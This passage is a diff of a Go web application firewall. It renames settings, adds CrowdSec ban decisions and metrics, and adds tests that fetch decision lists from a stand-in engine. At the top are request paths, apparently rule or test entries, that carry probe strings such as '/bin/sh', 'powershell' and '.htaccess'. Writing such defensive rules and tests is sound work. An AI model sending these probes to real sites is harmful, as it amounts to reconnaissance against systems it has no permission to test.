/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
# Pages, raw files and edit pages of files, and the API's call for their # Pages, raw files and edit pages of files, and the API's call for their
# contents. # contents.
/owner/repo/src/branch/main/package.json /owner/repo/src/branch/main/package.json
internal/coreruleset/vaultwarden.conf
+1 -1
View File
@@ -5,7 +5,7 @@
# before the rules it switches off, so this file is loaded before the Core Rule # before the rules it switches off, so this file is loaded before the Core Rule
# Set's rules. Each comment names a request a rule refused. An exclusion on a # Set's rules. Each comment names a request a rule refused. An exclusion on a
# field of a body applies only when the query has no parameter of that name, so # field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# #
# The apps encrypt the names, notes, addresses and file names of vault items, # The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass # folders, collections and sends before they send them. These values pass
internal/coreruleset/vaultwarden_test.go
+3 -6
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const vaultwardenThreshold = 5 const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page. // Paths of Vaultwarden's API and admin page.
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
}, },
} { } {
body := passwordBody(t, sent.r, sent.names, hashes...) body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyInspectionSize { if len(body) > bodyLimit {
t.Fatalf( t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
} }
if got, _ := inspectBody(t, crs, sent.r, body); len( if got, _ := inspectBody(t, crs, sent.r, body); len(
internal/coreruleset/wordpress.conf
+1 -1
View File
@@ -3,7 +3,7 @@
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets # Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname. # it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
internal/lookup/lookup.go
+1 -1
View File
@@ -66,7 +66,7 @@ type Params struct {
URL string URL string
// Timeout is how long a request waits for its client's first answer, // Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned // and how long a request to GeoJS may take before it is abandoned
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS). // (SWW_WAF_LOOKUP_TIMEOUT).
Timeout time.Duration Timeout time.Duration
// Wait is true when a setting needs each request's answer before the // Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one. // request goes on. Otherwise no request waits for one.
internal/metrics/busiest.go
+17 -19
View File
@@ -13,15 +13,14 @@ const other = "other"
// busiest are the metrics by one thing the lookup finds of the client, // busiest are the metrics by one thing the lookup finds of the client,
// its country or its AS number, for requests whose client's is known. // its country or its AS number, for requests whose client's is known.
// The busiestCount busiest countries or AS numbers, by their requests // The topN busiest countries or AS numbers, by their requests since the
// since the start, have series of their own, and the others are counted // start, have series of their own, and the others are counted under
// under other, so that there are never more than busiestCount + 1 series. // other, so that there are never more than topN + 1 series. One that
// One that drops out of the busiest loses its series, and its next // drops out of the busiest loses its series, and its next requests are
// requests are counted under other; one that becomes one of them gets a // counted under other; one that becomes one of them gets a series that
// series that counts from then on. Each series therefore only ever goes // counts from then on. Each series therefore only ever goes up.
// up.
type busiest struct { type busiest struct {
busiestCount int topN int
requests *prometheus.CounterVec requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec requestBytes *prometheus.CounterVec
@@ -39,9 +38,9 @@ type busiest struct {
} }
// newCountries returns the metrics by country, with series of their own // newCountries returns the metrics by country, with series of their own
// for the busiestCount busiest countries. // for the topN busiest countries.
func newCountries(busiestCount int) *busiest { func newCountries(topN int) *busiest {
countries := newBusiest(busiestCount, "country", "the client's country") countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec( countries.refused = counterVec(
"sww_country_list_refusals_total", "sww_country_list_refusals_total",
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", "Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
} }
// newASNs returns the metrics by AS number, with series of their own for // newASNs returns the metrics by AS number, with series of their own for
// the busiestCount busiest AS numbers. // the topN busiest AS numbers.
func newASNs(busiestCount int) *busiest { func newASNs(topN int) *busiest {
return newBusiest(busiestCount, "asn", "the client's AS number") return newBusiest(topN, "asn", "the client's AS number")
} }
// newBusiest returns the metrics by label, which is described as // newBusiest returns the metrics by label, which is described as
// description, with series of their own for the busiestCount busiest // description, with series of their own for the topN busiest values.
// values. func newBusiest(topN int, label, description string) *busiest {
func newBusiest(busiestCount int, label, description string) *busiest {
by := []string{label} by := []string{label}
return &busiest{ return &busiest{
busiestCount: busiestCount, topN: topN,
requests: counterVec("sww_"+label+"_requests_total", requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by), "Requests, by "+description+".", by),
requestBytes: counterVec("sww_"+label+"_request_bytes_total", requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
return value return value
} }
if len(b.top) < b.busiestCount { if len(b.top) < b.topN {
b.top[value] = true b.top[value] = true
return value return value
internal/metrics/metrics.go
+20 -19
View File
@@ -61,12 +61,12 @@ type Metrics struct {
} }
// New returns the metrics, with the Go runtime's and the process's own. // New returns the metrics, with the Go runtime's and the process's own.
// busiestCount is how many countries and how many AS numbers get series of // topN is how many countries and how many AS numbers get series of their
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric // own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance. // (SWW_WAF_INSTANCE_NAME) as its label instance.
// //
//nolint:funlen // a few lines for each metric, a list that grows with them //nolint:funlen // a few lines for each metric, a list that grows with them
func New(busiestCount int, instanceName string) *Metrics { func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"} byStatus := []string{"status_class", "action"}
byFile := []string{"file"} byFile := []string{"file"}
registry := prometheus.NewRegistry() registry := prometheus.NewRegistry()
@@ -102,7 +102,7 @@ func New(busiestCount int, instanceName string) *Metrics {
}), }),
rateLimitHits: counterVec( rateLimitHits: counterVec(
"sww_rate_limit_hits_total", "sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+ "Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}, []string{"window", "kind"},
), ),
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
"and the rule's id.", "and the rule's id.",
[]string{"mode", "rule_id"}, []string{"mode", "rule_id"},
), ),
countries: newCountries(busiestCount), countries: newCountries(topN),
asns: newASNs(busiestCount), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_requests_total", Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.", Help: "Requests to GeoJS.",
@@ -185,7 +185,7 @@ func (m *Metrics) AddBansAndClients(
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time, ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
) { ) {
for _, cause := range []string{ for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} { } {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
@@ -302,20 +302,20 @@ const sourceLabel = "source"
// AddReputation adds the metrics of the lists fetched from URLs and of the // AddReputation adds the metrics of the lists fetched from URLs and of the
// DNSBL zones, by source, each list's URL or each zone, its key masked as // DNSBL zones, by source, each list's URL or each zone, its key masked as
// config.MaskZoneKey masks it: the requests whose client a blocklist, a // config.MaskZoneKey masks it: the requests whose client a blocklist, the
// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts, // CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
// and, read from lists and dnsbl as the metrics are asked for, for a list, // which ReputationHit counts, and, read from lists and dnsbl as the
// the fetches that failed and when the copy in use was fetched, and for a // metrics are asked for, for a list, the fetches that failed and when the
// zone, the queries made and those that failed. It is called once, before // copy in use was fetched, and for a zone, the queries made and those that
// ReputationHit. // failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation( func (m *Metrics) AddReputation(
lists *reputation.Lists, lists *reputation.Lists,
dnsbl *reputation.DNSBL, dnsbl *reputation.DNSBL,
) { ) {
m.reputationHits = counterVec( m.reputationHits = counterVec(
"sww_reputation_hits_total", "sww_reputation_hits_total",
"Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, "+ "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"by the list's URL, the zone, or abuseipdb.", "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel}, []string{sourceLabel},
) )
m.registry.MustRegister(m.reputationHits) m.registry.MustRegister(m.reputationHits)
@@ -378,8 +378,9 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
) )
} }
// ReputationHit counts a request whose client source lists: a blocklist, // ReputationHit counts a request whose client source lists: a blocklist
// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb. // or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
// or AbuseIPDB, abuseipdb.
func (m *Metrics) ReputationHit(source string) { func (m *Metrics) ReputationHit(source string) {
m.reputationHits.WithLabelValues(source).Inc() m.reputationHits.WithLabelValues(source).Inc()
} }
@@ -464,7 +465,7 @@ func (m *Metrics) RequestReported(
} }
// LimitHit counts a request that broke a rate limit, a byte limit or the // LimitHit counts a request that broke a rate limit, a byte limit or the
// refusal limit, by the window and the kind of hit. // error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) { func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc() m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
} }
internal/ratelimit/ratelimit.go
+12 -12
View File
@@ -25,7 +25,7 @@ const (
KindRequests = "requests" KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes. // KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes" KindBytes = "bytes"
// KindRefusals is the refusal limit, on a client's requests sww // KindRefusals is the error burst, on a client's requests sww
// refused after a rule file match or for a missing or wrong token. // refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals" KindRefusals = "refusals"
) )
@@ -54,7 +54,7 @@ type Limiter struct {
// Client is a client in the table, as clients.json holds it: its buckets // Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the // of requests and of bytes in each window, its buckets of refusals in the
// minute, which the refusal limit counts, and its history. // minute, which the error burst counts, and its history.
// //
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct { type Client struct {
@@ -121,7 +121,7 @@ type Responses struct {
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct { type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the // Limit is its requests that broke a rate limit, a byte limit or the
// refusal limit, Attack those that were a clear sign of attack, a match // error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, BlockedByBlockRule those a // of a ban rule or a request for a trap path, BlockedByBlockRule those a
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set // block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
// refused. // refused.
@@ -147,7 +147,7 @@ type Request struct {
RequestBytes int64 RequestBytes int64
ResponseBytes int64 ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte // BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the refusal limit, Attack for one that matched a ban rule or // limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, BlockedByBlockRule for one a block rule refused, // asked for a trap path, BlockedByBlockRule for one a block rule refused,
// and BlockedByCoreRuleSet for one the Core Rule Set refused. // and BlockedByCoreRuleSet for one the Core Rule Set refused.
BrokeLimit bool BrokeLimit bool
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
} }
} }
// Hit is a request that takes a client over a rate limit or the refusal // Hit is a request that takes a client over a rate limit or the error
// limit, or whose bytes take it over a byte limit. // burst, or whose bytes take it over a byte limit.
type Hit struct { type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit, // Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the refusal limit. // KindRefusals for the error burst.
Kind string Kind string
// Window is "minute", "hour" or "day". // Window is "minute", "hour" or "day".
Window string Window string
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
// CountRefusal counts a request from client at now that sww // CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or // refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute // wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than limit, which breaks // that ends at now, this one included, are more than threshold, which
// the refusal limit, and the hit. // breaks the error burst, and the hit.
func (l *Limiter) CountRefusal( func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, limit int64, client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) { ) (Hit, bool) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
hit := Hit{ hit := Hit{
Kind: KindRefusals, Kind: KindRefusals,
Window: "minute", Window: "minute",
Limit: limit, Limit: threshold,
Count: count, Count: count,
} }
return hit, count > float64(limit) return hit, count > float64(threshold)
} }
// Reset sets client's counts of requests, of bytes and of refusals in // Reset sets client's counts of requests, of bytes and of refusals in
internal/ratelimit/ratelimit_test.go
+4 -6
View File
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "") wantBytesCount(t, limiter, client, start, 1000, "")
} }
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit( func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
for range limit { for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over { if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf( t.Fatalf(
"a refusal within the limit of %d broke the refusal limit", "a refusal within the threshold of %d broke the error burst",
limit, limit,
) )
} }
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf(
"one over the limit broke it: %t, with %+v; want %+v", "one over the threshold broke it: %t, with %+v; want %+v",
over, over,
hit, hit,
want, want,
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
} }
// Half a minute into the next, half of those four still count, 2, and // Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the limit. // this one: 3, within the threshold.
hit, over = limiter.CountRefusal( hit, over = limiter.CountRefusal(
client, client,
start.Add(time.Minute+time.Minute/2), start.Add(time.Minute+time.Minute/2),
internal/remotelog/remotelog.go
+4 -4
View File
@@ -62,9 +62,9 @@ type Params struct {
// RootCAs are the certificates a SchemeTLS endpoint's certificate // RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's. // must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool RootCAs *x509.CertPool
// BufferLines is the most lines held while they wait to be sent // Buffer is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES). // (SWW_WAF_LOG_REMOTE_BUFFER).
BufferLines int Buffer int
// Facility is the number of the records' syslog facility // Facility is the number of the records' syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME // (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME). // (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
// id and the structured data have no value. // id and the structured data have no value.
beforeTime: "<" + strconv.Itoa(priority) + ">1 ", beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
afterTime: " " + hostname + " " + params.AppName + " - - - ", afterTime: " " + hostname + " " + params.AppName + " - - - ",
records: make(chan []byte, params.BufferLines), records: make(chan []byte, params.Buffer),
} }
} }
internal/remotelog/remotelog_test.go
+2 -2
View File
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
endpoint := listen(t) endpoint := listen(t)
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr()) endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
endpointParams.RootCAs = roots endpointParams.RootCAs = roots
endpointParams.BufferLines = 3 endpointParams.Buffer = 3
sender, _, _ := run(t, endpointParams) sender, _, _ := run(t, endpointParams)
// The sender connects, and its TLS handshake waits for an answer // The sender connects, and its TLS handshake waits for an answer
@@ -403,7 +403,7 @@ func (o *output) text() string {
func params(scheme string, addr net.Addr) remotelog.Params { func params(scheme string, addr net.Addr) remotelog.Params {
return remotelog.Params{ return remotelog.Params{
URL: &url.URL{Scheme: scheme, Host: addr.String()}, URL: &url.URL{Scheme: scheme, Host: addr.String()},
BufferLines: 10, Buffer: 10,
Facility: local0, Facility: local0,
AppName: appName, AppName: appName,
} }
internal/reputation/abuseipdb.go
+2 -2
View File
@@ -65,8 +65,8 @@ type AbuseIPDBParams struct {
MinScore int64 MinScore int64
DailyBudget int DailyBudget int
// CacheTTL is how long a score is used after it was fetched // CacheTTL is how long a score is used after it was fetched
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may // (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). // (SWW_WAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration CacheTTL time.Duration
Timeout time.Duration Timeout time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
internal/reputation/crowdsec_test.go
+622
View File
@@ -0,0 +1,622 @@
package reputation_test
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"reflect"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
// The tests run in a synctest bubble, as those of the blocklists do, and
// fetch the decision list from engine, a stand-in for a CrowdSec engine
// that answers without the network.
const (
// decisionsURL is the decision list of the tests' engine, and engineKey
// the key it answers.
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
engineKey = "crowdsec-key-0123456789abcdef"
// sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, and rangeScope the scope of a
// decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
manual := "manual 'ban' from 'localhost'"
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
{"Country", "KP", ban, manual, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
for addr, want := range map[string]reputation.Decision{
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
"203.0.113.10": {},
"198.51.101.0": {},
"2001:db8::2": {},
"192.0.2.50": {},
} {
wantDecision(t, lists, addr, want)
}
// With the engine down, the copy kept still holds the decision on
// 198.51.100.0/24, which no longer bans once it has ended.
e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait()
wantDecision(
t,
lists,
"198.51.100.7",
reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
},
)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(6 * time.Hour),
Scenario: manual,
},
)
})
}
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1)
added := reputation.Decision{
Expires: began.Add(2 * time.Hour),
Scenario: probing,
}
e.set(func(e *engine) {
e.decisions = append(e.decisions,
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
})
time.Sleep(time.Minute - time.Nanosecond)
wantEngineFetches(t, e, 1)
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
time.Sleep(time.Nanosecond)
wantEngineFetches(t, e, 2)
wantDecision(t, lists, "203.0.113.10", added)
})
}
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{
rangeScope,
"198.51.100.128/25",
ban,
sshBF,
began.Add(time.Hour),
},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{
rangeScope,
"192.0.2.0/24",
ban,
probing,
began.Add(5 * time.Hour),
},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"198.51.100.130",
reputation.Decision{
Expires: began.Add(3 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"192.0.2.20",
reputation.Decision{
Expires: began.Add(5 * time.Hour),
Scenario: probing,
},
)
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T,
) {
t.Parallel()
for _, tc := range crowdSecFailures() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
queue := newQueue()
p := crowdSecParams()
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
p.Alerts = queue
lists := start(t, e, p)
kept := lists.Snapshot()
e.set(tc.fail)
// Each failure is tried again a minute after it.
for range 2 {
time.Sleep(time.Minute)
synctest.Wait()
}
wantEngineFetches(t, e, 3)
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: sshBF,
},
)
want := kept[0]
want.Tried = time.Now()
got := lists.Snapshot()
if !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
}
if n := lists.Failures(decisionsURL); n != 2 {
t.Errorf("%d failures, want 2", n)
}
// One alert for the first failure; the cooldown holds back the
// second.
failed := time.Now().Add(-time.Minute)
alert := fetchFailure(failed, decisionsURL, tc.error)
wantAlert(t, queue, alert)
if !strings.Contains(
log.String(),
`"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
wantKeyNotShown(t, e, log.String(), lists, queue)
})
})
}
}
// crowdSecFailure is a way for the engine to fail: fail has it answer the
// fetches after the first so that they fail with error.
type crowdSecFailure struct {
name string
fail func(e *engine)
error string
}
// crowdSecFailures returns the ways the engine can fail.
func crowdSecFailures() []crowdSecFailure {
const notDecision = " does not give an address or a netblock and a duration, " +
"such as 4h0m0s"
return []crowdSecFailure{
{
"an answer other than 200",
func(e *engine) { e.failing = true },
"the server answered 503 Service Unavailable",
},
{
"a key the engine refuses",
func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden",
},
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{
"an answer that does not read",
func(e *engine) { e.answer = "<html>" },
"read the answer: invalid character '<' looking for beginning of value",
},
{
"a decision to ban whose value does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
},
"decision 1" + notDecision,
},
{
"a decision to ban whose duration does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
`"type": "ban", "value": "198.51.100.0/24"}]`
},
"decision 2" + notDecision,
},
}
}
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// lists.json keeps.
func wantKeyNotShown(
t *testing.T,
e *engine,
log string,
lists *reputation.Lists,
queue *alerts.Queue,
) {
t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
